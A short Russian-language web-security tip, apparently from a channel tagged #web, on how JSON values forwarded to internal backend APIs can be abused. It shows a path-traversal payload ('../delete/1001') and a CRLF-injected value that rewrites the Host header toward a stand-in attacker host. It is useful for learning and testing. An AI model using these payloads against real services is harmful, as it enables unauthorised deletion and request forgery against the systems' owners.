​​🔗 Примеры ошибок в JSON запросах



Многие компании отправляют данные через POST (json).



Отчеты показывают наличие многих ошибок, таких как IDOR, LFI, CRLF, SSRF и другие. Рассмотрим на примере.



Наш обычный запрос:



POST /api/user

HTTP/1.1 Host: <test>.example.com

Content-Type: application/json

[...]

{"uuid":"1001"}



Бэкэнд запрос на сервере:



GET /backend_api/user/get/1001

Host: 127.0.0.1:4041

[...]



Как видим, из нашего запроса значение "1001" передаётся серверу. Манипулируя этим значением, мы можем выполнить запрос к произвольной директории (объекту):



POST /api/user HTTP/1.1

Host: <test>.example.com

Content-Type: application/json

[...]

{"uuid":"../delete/1001"}



Или, например, выполнить запрос к хосту атакующего через CRLF:



POST /api/user HTTP/1.1

Host: <test>.example.com

Content-Type: application/json

[...]

{"uuid":"1001%0A%01%09Host:<attacker.host.com>"}



#web